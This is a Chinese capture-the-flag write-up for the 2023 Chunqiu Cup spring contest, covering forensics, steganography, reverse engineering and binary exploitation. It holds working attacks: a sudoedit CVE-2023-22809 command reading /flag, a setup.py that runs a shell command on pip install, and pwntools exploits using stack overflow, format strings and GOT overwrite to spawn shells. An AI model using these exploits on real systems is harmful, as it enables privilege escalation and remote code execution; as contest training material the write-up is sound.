2023春秋杯春季赛

本文最后更新于:2023年10月7日 晚上

MISC

sudo

CVE-2023-22809
连接靶机执行sudo -V,发现版本为1.8.21p2符合文章中说的版本
查看/etc/sudoers发现当前文件可以无密码执行sudoedit /etc/GAMELAB,这也符合文章中的条件
文章中执行了一条EDITOR="vim -- /path/to/extra/file" sudoedit /etc/GAMELAB,用来编辑文件
那么我们改一下EDITOR="cat -- /flag" sudoedit /etc/GAMELAB就可以读取/flag文件获得flag

piphack

编写setup.py

1
2
3
4
5
6
import os

a=os.popen("cat /flag").read()
raise Exception(a)

# git+https://github.com/xxx/xx.git

github中创建仓库,上传setup.py,然后连接靶机输入git+https://github.com/xxx/xx.git,靶机就会自动下载仓库中的文件,并执行setup.py,只要靶机将仓库下载下来,flag就会在出现报错信息中

wordle

连接靶机之后先随便输入几个五个字母的单词,然后将存在错误的字母的单词排除,将正确的字母在正确的位置的单词保留,之后就可以得到正确的单词

58与64

下载附件解压之后,得到很多txt文件,而txt文件中基本上只有一两个字母,根据题目中的58,猜测文件内容为base58
将文件内容进行base58解密之后连接起来得到base64字符串,进行多次base64解密得到flag

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
import base64
import os
def convert(text,mode=0):
if mode:
if type(text)==bytes:
text=text.decode('utf-8')
else:
if type(text)==str:
text=text.encode('utf-8')
return text
class b58:
def __init__(self):
self.__base="123456789ABCDEFGHJKLMNPQRSTUVWXYZabcdefghijkmnopqrstuvwxyz"

def int_to_str(num):
cache=hex(num)[2:].strip('L')
text=[]
for i in range(0,len(cache),2):
text.append(int(cache[i:i+2],16))
return text

def decode(self,text):
text=convert(text,1)
err=''
try:
n=0
txt=[]
for i in text:
err=i
txt.append(self.__base.index(i))
err=''
cache=0
for i in range(len(txt)):
cache=cache*58+txt[i]
detext=b58.int_to_str(cache)
return bytes(detext)
except Exception as e:
raise Exception('%s is not found'%err)

files=os.listdir('tmp')
files.sort(key=lambda d:int(d[:-4]))
outdata=b""
for i in files:
f=open(os.path.join('tmp',i))
outdata+=b58().decode(f.read())

while True:
print(outdata)
outdata=base64.b64decode(outdata)

盲人隐藏了起来

解压附件得到三个文件12,34.mp4,flag.zip,使用010打开12,34.mp4
发现12文件中的内容,与34.mp4mdat段的内容结构类似,将12中的内容替换为34.mp4中的mdat段之后,打开视频得到压缩包密码ChunJiSai7k7kbibi@!
解压得到了flag.png,在文件结尾存在字符串keyischunqiu123不过没有发现有什么用,执行zsteg -a flag.png,发现在b1,bgr,lsb,xy中存在flag信息,使用zsteg flag.png -e b1,bgr,lsb,xy |strings | grep flag得到flag

happy2forensics

http数据包中,发现有主机使用POST方法像服务器上传了一个secret.rar,导出之后解压得到secret.vhdx,装载之后发现是bitlocker加密的磁盘文件,在数据包中,存在一个主机使用20端口向80端口发送数据,因为20端口一半用于FTP-DATA协议,而且主机只发送syn数据包,不进行tcp连接,查看数据包之后发现tcp.seq_raw字段中可能存在数据
使用tshark导出数据tshark -r happy2forensics.pcapng -Y "tcp.srcport==20" -T fields -e tcp.seq_raw,将导出数据转换为字符串之后得到bitlocker:120483-350966-299189-055297-225478-133463-431684-359403
装载磁盘文件,存在很多图片,同时还存在一个210-1.png无法直接打开,使用010查看之后发现存在多个文件,使用foremost分离文件,同时在磁盘文件中作为回收站的区域中存在一个压缩包,压缩包中存在flag2.txt

下面是jpg文件内容

根据提示合并磁盘文件中的png图片,与210-1.png分离之后得到的png图片

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
"""
210-1.png
"""
from PIL import Image
import PIL
f=open('out.txt','w')
import os
d=os.listdir('png')
d.sort(key=lambda n:int(n[:-4]))
i=Image.open(os.path.join('png',d[0]))
w,h=i.size
im=Image.new(i.mode,(w*len(d),h))
i.close()
i=0
for v in d:
try:
fp=os.path.join('png',v)
im1=Image.open(fp)
im.paste(im1,(i,0))
i+=1
except:
pass
im.save('out.png')

"""
磁盘文件
"""
from PIL import Image
import PIL
f=open('out.txt','w')
import os
d=os.listdir('png')
d.sort(key=lambda n:int(n[:-4]))
i=Image.open(os.path.join('png',d[0]))
w,h=i.size
im=Image.new(i.mode,(w,h*len(d)))
i.close()
i=0
for v in d:
try:
fp=os.path.join('png',v)
im1=Image.open(fp)
im.paste(im1,(0,i))
i+=1
except:
pass
im.save('out.png')

210-1.png合并图片

解压压缩包得到flag2:-919c-a140d7054ac5

磁盘文件合并图片

看来flag并不在这里

使用010查看之前分离出来的jpg,发现存在两个jpg头,删除开始的jpg头之后得到一张新的图片

REVERSE

sum

因为输入的数据会写入到一个9x9的二维数组中,同时二维数组的内容为0~9的数字,并且,输入的数据会替换掉二维数组中0所在的位置,所以我猜测是一个数独游戏,将matrix变量的内容导出来,作为一个9x9的方阵
将数字导入到这个数独网站之后就可以获得数独中需要填入的内容了

Pytrans

先使用pyinstxtractorexe解包,然后使用在线pyc反编译网站,将解包之后得到的run.pyc反编译

1
2
3
4
5
6
7
8
#!/usr/bin/env python
# visit https://tool.lu/pyc/ for more information
# Version: Python 3.9

import base64
import zlib
import ctypes
# WARNING: Decompyle incomplete

反编译失败,不过我们可以通过run.pyc中的字符串内容,来推测实际代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
"""
猜测的run.py代码
"""
import base64
import zlib
import ctypes
dll=CDLL('./mylib.so')
data=''.join([chr(int(i)) for i in input("Please enter the 10 digits and ending with '\n':").split()])
data_p=dll.check(data)
data=base64.b64decode(ctypes.c_char_p(data_p).value)
data=zlib.decompress(data)

"""
剩下的不太确定了,不过可以确定的是data的内容后面是要被执行的
所以我们需要先获取data的值
"""


mylib.so中的check函数的开头存在这段代码,使用python的z3模块解方程得到数据内容

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
import z3
s=z3.Solver()
a1 =z3.Int("a1")
a11=z3.Int("a11")
a12=z3.Int("a12")
a13=z3.Int("a13")
a14=z3.Int("a14")
a15=z3.Int("a15")
a16=z3.Int("a16")
a17=z3.Int("a17")
a18=z3.Int("a18")
a19=z3.Int("a19")

a=[]
a.append(a1 )
a.append(a11)
a.append(a12)
a.append(a13)
a.append(a14)
a.append(a15)
a.append(a16)
a.append(a17)
a.append(a18)
a.append(a19)

s.insert(-27 * a17 + -11 * a16 + 16 * a15 + a1 + 2 * a11 - a12 + 8 * a13 - 14 * a14 + 26 * a18 + 17 * a19 == 14462 )
s.insert(-30 * a18 + 13 * a15 + a13 + a11 + 2 * a1 - 15 * a14 - 24 * a16 + 16 * a17 + 36 * a19 == -2591 )
s.insert(16 * a16 + -21 * a15 + 7 * a13 + 3 * a11 - a1 - a12 + 12 * a14 - 23 * a17 + 25 * a18 - 18 * a19 == 2517 )
s.insert(-6 * a16 + 2 * a12 - a11 + 2 * a15 + 9 * a17 + 2 * a18 - 5 * a19 == 203 )
s.insert(-5 * a18 + 6 * a17 + 3 * a11 - a13 - a15 + a16 + 5 * a19 == 3547 )
s.insert(-9 * a18 + a14 + a12 + a17 - 5 * a19 == -7609 )
s.insert(2 * a15 + -a13 - a14 + a18 + 6 * a19 == 4884 )
s.insert(a16 - a17 + 2 * a18 == 1618 )
s.insert(a14 - a16 + 2 * a19 == 1096 )
s.insert(a18 + a14 + a13 + a12 + a11 + a1 - a15 - a16 - a17 - a19 == 711 )
s.insert(2 * (2 * a14 + a13) + 5 * a15 == 7151 )
s.check()
res=s.model()
e=[]
for i in a:
e.append(res[i])
print(e)

import zlib
import base64
import ctypes
dll=ctypes.CDLL("./mylib.so")
data=''.join([chr(i.as_long()) for i in e])
data_p=dll.check(data)
data=base64.b64decode(ctypes.c_char_p(data_p).value)
data=zlib.decompress(data)
f=open("data",'wb')
f.write(data)
f.close()

使用010查看导出的data文件,发现是pyc文件缺少了头,因为exe解包之后的pyc中大多数都是python3.8版本的pyc文件,所以将3.8版本的pyc头写入data文件之后,进行反编译

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
#!/usr/bin/env python
# visit https://tool.lu/pyc/ for more information
# Version: Python 3.8

footprint = '3qzqns4hj6\neeaxc!4a-%\nd735_@4l6g\nf1gd1v7hdm\n1+$-953}81\na^21vbnm3!\n-#*f-e1d8_\n2ty9uipok-\n6r1802f7d1\n9wez1c-f{0'
xx0000 = []
footprintlist = footprint.split('\n')
for i in range(len(footprintlist)):
xx0000.append(list(footprintlist[i]))

def xxxx000x0(num):
xx000000 = format(num, '010b')
return xx000000

oxooxxxxxoooo = []
xx0000000 = input("Please enter the previous 10 digits again and ending with '\\n': ").split(' ')
if len(xx0000000) == 10:

try:
for i in xx0000000:
oxooxxxxxoooo.append(int(i))
finally:
pass
print('err input!')
exit(-1)
print('err input!')
exit(-1)
for i in range(len(oxooxxxxxoooo)):
oxooxxxxxoooo[i] = list(xxxx000x0(oxooxxxxxoooo[i]))
xx0000x000 = oxooxxxxxoooo
(x, o) = (0, 0)
xx00x00x0xxx00 = [
(x, o)]
xx00x00x0xxx00input = list(input('input maze path:'))
count = 0
if (x, o) != (9, 9):
if count < len(xx00x00x0xxx00input):
xx0000x0xxx00 = xx00x00x0xxx00input[count]
if xx0000x0xxx00 == 'a':
if o > 0 and xx0000x000[x][o - 1] == '0':
o -= 1
count += 1
xx00x00x0xxx00.append((x, o))
else:
print('wrong!')
exit(-1)
elif xx0000x0xxx00 == 'd':
if o < 9 and xx0000x000[x][o + 1] == '0':
count += 1
o += 1
xx00x00x0xxx00.append((x, o))
else:
print('wrong!')
exit(-1)
elif xx0000x0xxx00 == 'w':
if x > 0 and xx0000x000[x - 1][o] == '0':
count += 1
x -= 1
xx00x00x0xxx00.append((x, o))
else:
print('wrong!')
exit(-1)
elif xx0000x0xxx00 == 's':
if x < 9 and xx0000x000[x + 1][o] == '0':
count += 1
x += 1
xx00x00x0xxx00.append((x, o))
else:
print('wrong!')
exit(-1)
else:
print('wrong!')
exit(-1)
continue
print('wrong!')
exit(-1)
continue

print('right! you maybe got it,flag is flag{the footprint of the maze path}')

发现将上面脚本中得到的e中的整数,转换为十位二进制之后可以得到一个迷宫,通过解迷宫之后输入可以得到flag
迷宫路径为sddsdssdddwwwddsssssaaaaassddsddwdds

Emoji Connect

执行解压之后得到的.vsto文件会在excel中安装com程序,之后创建一个新的表格,在excel的菜单栏中会出现一个春秋GAME,点击之后可以开启一个连连看游戏,这个vsto文件实际上是将Emoji_Connect.dll安装到excel中,不过我第一次安装成功了,但删除之后再安装菜单栏中就没有春秋GAME
Emoji_Connect.dll是一个.net程序,使用dnspy分析程序

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
// Emoji_Connect.Game
// Token: 0x06000003 RID: 3 RVA: 0x0000AC44 File Offset: 0x00008E44
private void check()
{
for (int i = 0; i < 48; i++)
{
for (int j = 0; j < 48; j++)
{
if (Game.<>o__7.<>p__2 == null)
{
Game.<>o__7.<>p__2 = CallSite<Func<CallSite, object, bool>>.Create(Binder.UnaryOperation(CSharpBinderFlags.None, ExpressionType.IsTrue, typeof(Game), new CSharpArgumentInfo[]
{
CSharpArgumentInfo.Create(CSharpArgumentInfoFlags.None, null)
}));
}
Func<CallSite, object, bool> target = Game.<>o__7.<>p__2.Target;
CallSite <>p__ = Game.<>o__7.<>p__2;
if (Game.<>o__7.<>p__1 == null)
{
Game.<>o__7.<>p__1 = CallSite<Func<CallSite, object, string, object>>.Create(Binder.BinaryOperation(CSharpBinderFlags.None, ExpressionType.NotEqual, typeof(Game), new CSharpArgumentInfo[]
{
CSharpArgumentInfo.Create(CSharpArgumentInfoFlags.None, null),
CSharpArgumentInfo.Create(CSharpArgumentInfoFlags.UseCompileTimeType | CSharpArgumentInfoFlags.Constant, null)
}));
}
Func<CallSite, object, string, object> target2 = Game.<>o__7.<>p__1.Target;
CallSite <>p__2 = Game.<>o__7.<>p__1;
if (Game.<>o__7.<>p__0 == null)
{
Game.<>o__7.<>p__0 = CallSite<Func<CallSite, object, object>>.Create(Binder.GetMember(CSharpBinderFlags.None, "Value", typeof(Game), new CSharpArgumentInfo[]
{
CSharpArgumentInfo.Create(CSharpArgumentInfoFlags.None, null)
}));
}
if (target(<>p__, target2(<>p__2, Game.<>o__7.<>p__0.Target(Game.<>o__7.<>p__0, this.sheet1.Cells[i + 1, j + 1]), "\ud83d\udca5")))
{
return;
}
}
}
MessageBox.Show(Encoding.ASCII.GetString((from n in this.number
select (byte)n).ToArray<byte>()));
} // 发现有一个number成员最后会作为flag显示

this.number = new int[]
{25588,31114,28727,26722,24948,25135,25480,29029,23025,25775,15411,25423,25202,30031,27380,30734,25054,25109,20741,28568,28802,24591,26063,30940,30375,19411,29573,20845,27232,26743,25779,24986,31498,30978,22945,26563,35012,29994,27016,29535,21342,26573,27569,25408,31567,25503,21385,27207}; //number的初始值

// Emoji_Connect.Game
// Token: 0x06000002 RID: 2 RVA: 0x0000A5B0 File Offset: 0x000087B0
private void Select_Unit(Microsoft.Office.Interop.Excel.Range Target)
{
...
if (target(<>p__, arg5))
{
if (Game.<>o__6.<>p__13 == null)
{
Game.<>o__6.<>p__13 = CallSite<Func<CallSite, object, bool>>.Create(Binder.UnaryOperation(CSharpBinderFlags.None, ExpressionType.IsTrue, typeof(Game), new CSharpArgumentInfo[]
{
CSharpArgumentInfo.Create(CSharpArgumentInfoFlags.None, null)
}));
}
Func<CallSite, object, bool> target6 = Game.<>o__6.<>p__13.Target;
CallSite <>p__6 = Game.<>o__6.<>p__13;
if (Game.<>o__6.<>p__12 == null)
{
Game.<>o__6.<>p__12 = CallSite<Func<CallSite, object, object, object>>.Create(Binder.BinaryOperation(CSharpBinderFlags.None, ExpressionType.Equal, typeof(Game), new CSharpArgumentInfo[]
{
CSharpArgumentInfo.Create(CSharpArgumentInfoFlags.None, null),
CSharpArgumentInfo.Create(CSharpArgumentInfoFlags.None, null)
}));
}
if (target6(<>p__6, Game.<>o__6.<>p__12.Target(Game.<>o__6.<>p__12, list[0].get_Value(Type.Missing), list[1].get_Value(Type.Missing))))
{
if (Game.<>o__6.<>p__14 == null)
{
Game.<>o__6.<>p__14 = CallSite<Func<CallSite, object, string>>.Create(Binder.Convert(CSharpBinderFlags.None, typeof(string), typeof(Game)));
}
int[] array = (from c in Game.<>o__6.<>p__14.Target(Game.<>o__6.<>p__14, list[1].get_Value(Type.Missing))
select (int)c).ToArray<int>();
int num = (array[0] - 55296) * 1024 + array[1] - 56320 + 65536 - 128512;
this.number[num] -= (list[1].Row - 1) * (list[1].Column - 1);
this.number[num] -= (list[0].Row - 1) * (list[0].Column - 1);
list[0].set_Value(Type.Missing, list[1].set_Value(Type.Missing, "\ud83d\udca5"));
}
}
this.check();
} // 这里将会使用被消除的两个格子的内容中的utf-16le字符中的两个字符,进行运算之后得到索引值
// 然后使用number数组中对应索引值处的内容减去 两个格子的坐标(x*y)
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
"""
根据分析写出解密代码
"""
import numpy as np
flag=[25588,31114,28727,26722,24948,25135,25480,29029,23025,25775,15411,25423,25202,30031,27380,30734,25054,25109,20741,28568,28802,24591,26063,30940,30375,19411,29573,20845,27232,26743,25779,24986,31498,30978,22945,26563,35012,29994,27016,29535,21342,26573,27569,25408,31567,25503,21385,27207]
array=[[None for i in range(0x30)] for j in range(0x30)]
array[0][ 0] = "\ud83d\ude08"
...
array[47][ 47] = "\ud83d\ude25"

for i,v in enumerate(array):
for j,v1 in enumerate(v):
arr0,arr1=[ord(i) for i in v1]
num= (arr0 - 55296) * 1024 + arr1 - 56320 + 65536 - 128512

print(arr0,arr1,num)
flag[num] -= (j ) * (i )
print(flag)
print(bytes(flag))

PWN

p2048

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
int __cdecl game(int a1)
{
char *i; // edi
int result; // eax
bool v3; // zf
char v4; // al
char v5; // [esp+7h] [ebp-41Dh]
char v6; // [esp+8h] [ebp-41Ch]
char v7[1048]; // [esp+Ch] [ebp-418h] BYREF

memset(v7, 0, 0x400u);
for ( i = v7; ; *(i - 1) = v5 )
{
result = getchar();
v6 = result;
v5 = result;
if ( (_BYTE)result == 0xFF )
break;
if ( (_BYTE)result != 68 )
{
if ( (char)result <= 68 )
{
if ( (_BYTE)result == 66 )
goto LABEL_18;
if ( (char)result <= 66 )
{
v3 = (_BYTE)result == 65;
LABEL_14:
if ( !v3 )
goto LABEL_22;
v4 = moveUp(a1, &score);
goto LABEL_19;
}
LABEL_17:
v4 = moveRight(a1, &score);
goto LABEL_19;
}
if ( (_BYTE)result == 100 )
goto LABEL_17;
if ( (char)result > 100 )
{
if ( (_BYTE)result != 115 )
{
v3 = (_BYTE)result == 119;
goto LABEL_14;
}
LABEL_18:
v4 = moveDown(a1, &score);
goto LABEL_19;
}
if ( (_BYTE)result != 97 )
goto LABEL_22;
}
v4 = moveLeft(a1, &score);
LABEL_19:
if ( v4 )
{
drawBoard(a1, score);
addRandom(a1);
drawBoard(a1, score);
checkWin(a1, v7);
if ( (unsigned __int8)gameEnded(a1) )
return puts(" GAME OVER ");
}
LABEL_22:
if ( v6 == 113 )
{
puts(" QUIT? (y/n) ");
result = getchar();
v5 = result;
if ( (_BYTE)result == 121 )
return result;
drawBoard(a1, score);
}
if ( v5 == 114 )
{
puts(" RESTART? (y/n) ");
v5 = getchar();
if ( v5 == 121 )
{
initBoard(a1);
score = 0;
}
drawBoard(a1, score);
}
++i;
}
return result;
} // 存在一个死循环,可以一直读取输入的字符,并写入栈中
//所以这里可以使用栈溢出,来获取shell
//不过在测试时,发现2048的方阵也在栈中,
// 那么就可以直接用栈溢出将2048方阵中的数据都修改为10,这表示1024,这样在移动之后就可以得到2048
// 这样在执行checkWin之后就会触发win函数,就可以获取shell
1
2
3
4
5
6
7
8
9
10
"""
通过修改2048方阵,getshell
"""
from pwn import *
p=process('./p2048')
pause()

p.send('\x0a'*542*2)
p.send('\x0a'*16)
p.interactive()
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
"""
因为程序开启了PIE保护,所以需要爆破
"""
from pwn import *

while True:
p=process('./p2048')
try:
p.send(b'a'*1048+b'bbbb'+p16(0xde60))
p.send(b'qy')
p.sendline('ls')
except:
p.close()
p.interactive()

babygame

当获得了足够多的分数时就可以构造足够多次数的格式化字符串,以修改某个地址处的数据

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
from boom import *
from pwn import *
import hashlib
from LibcSearcher import *
from ctypes import CDLL
import sys
dll=CDLL("./libc.so.6")
def check():
base=b"abcdefghijklmnopqrstuvwxyz"
dll.srand(dll.time(0))
res=[]
for i in range(4):
res.append(base[dll.rand()%26])
return bytes(res)
pass

def game(round=3):
p.sendlineafter(">> ",'1')
p.sendlineafter('level : ','4')
for j in range(round):
i=check()
p.sendlineafter('Give me : ',bytes(i))
if b'Wrong' in p.recv(5):
game(round-j)
return

p.sendlineafter('Give me : ','123')


def ext_back(num):
p.sendlineafter('>> ','2')
p.sendlineafter('>> ','2')
p.sendlineafter('need : ',str(num))

def buy(data):
p.sendlineafter(">> ",'2')
p.sendlineafter('>> ','1')
p.sendlineafter('purchase',data)

def show():
p.sendlineafter(">> ",'2')
p.sendlineafter('>> ','4')
p.readuntil('4')
data=p.readuntil('Backpack size',drop=1)
return data

def use():
p.sendlineafter(">> ",'2')
p.sendlineafter('>> ','3')

def format(data):
buy(data)
res=show()
print(data)
# print(res)
return res


e=ELF("./pwn")
context.log_level='debug'
context.binary=e
func='puts'
func_got=e.got[func]
func1='printf'
func1_got=e.got[func1]
exit=e.got['exit']
lib_i=11
src_p=29
src=43


if len(sys.argv)==1:
p=process('./pwn')
gdb.attach(p,'bp 0x401501')
pause()
else:
p=remote(sys.argv[1],sys.argv[2])

game(80)
ext_back(512)

pause()

buy(f"%{lib_i}$p %{src_p}$p %{src}$p")
d=show().split(b' ')
libc_start_main=int(d[0],16)
src_a=int(d[1],16)
success("libc_start_main : "+hex(libc_start_main))
success("sour_add : "+hex(src_a))
src_2=src+1
src_3=src+2

src_a_=(src_a+8)&0xffff
format(f"%{src_a_}c%{src_p}$hn")

pause()
bss=bssfmt(format)
bss.fmt_edit(p64(exit),src_p,src,src_a_)

bss.fmt_edit(p64(0x401501),src,src_2,exit)

shellcode=asm(shellcraft.sh())
f=open('shellcode','wb')
f.write(shellcode)
f.close()
import os
payload=os.popen('alpha x64 ascii mixedcase rax --input="./shellcode"').read()

buy('b'*0x20+payload)

p.interactive()

sigin_shellcode

useful_tools中已经将a0寄存器设置为指向"/bin/sh"的指针了,并且已经将shellcode中的后八位设置为执行execve系统调用的代码了,不过a1a2寄存器没有清空,所以这是我们需要做的

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
from pwn import *
from ctypes import *
import sys
e=ELF("./pwn")
context.binary=e
Floor_num=0
def Down():
global Floor_num
p.sendlineafter('Go> \n','1')
cdll=CDLL("./libc.so.6")
cdll.srand(114514)
p.sendlineafter('want?',str(cdll.rand()%114514%(Floor_num+1)))
Floor_num+=1
pass

def addatk(ind):
p.sendlineafter("Go> \n",'3')
# p.interactive()
p.sendlineafter('buy? \n> \n',str(ind))

cmd="""
b *0x401538
b *0x400bb4
"""
if len(sys.argv)==3:
p=remote(sys.argv[1],sys.argv[2])
else:

p=other_att("./pwn",'mipsel')
other_gdb("4444",arch='mips',cmd=cmd)
context.log_level='debug'
pause()
for i in range(99):
Down()
print(i)
p.readuntil('You have coins: ')
coin=int(p.readline())
print(coin)
#p.interactive()
if coin%100 < (coin-2551)%100:
while coin>=100:
addatk(1)
coin-=100
# pause()
else:
addatk(3)
coin-=2551
while coin>=100:
# pause()
addatk(1)
coin-=100
Down()

shellcode="""li $a1,0
li $a2,0
"""
shell=asm(shellcode)
print(len(shell))
p.interactive()
p.send(shell)
pause()
#p.send(asm(shellcraft.sh()))

p.interactive()

easy_LzhiFTP

touch时存在数组越界,当创建第17个成员时会将第1个成员设置为第17个成员的size,可以做到任意地址读写

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
from pwn import *
#p=process('./ftp')
p=remote("39.106.65.236 30913")
e=ELF('./ftp')
#gdb.attach(p)
p.sendlineafter("Username: ",'rot')
p.sendlineafter('Password: ',b'r\0\0\0')

def touch(filename):
p.sendlineafter("FTP> ",b"touch %s"%filename)
p.sendlineafter("Context",b"/bin/sh\x00")
pass

def edit(ind,data):
p.sendlineafter('FTP> ',b'edit')
p.sendlineafter('idx:',str(ind))
p.sendafter('Content: ',data)

def free(ind):
p.sendlineafter('FTP> ',b'del')
p.sendlineafter('idx:',str(ind))

p.sendlineafter('No)',b'No%19$p')
p.readuntil('Choice:No')
d=int(p.readline(),16)
e.address=d-0x1d29
free_got=e.got['free']
system=e.plt['system']

for i in range(16):
touch(str(i).encode())

free(0)
#touch(p64(0))
touch(p64(free_got))
edit(0,p64(system))
free(1)

p.interactive()



2023春秋杯春季赛
https://rot-will.github.io/page/wp/2023春秋杯春季赛/
作者
rot_will
发布于
2023年5月19日
更新于
2023年10月7日
许可协议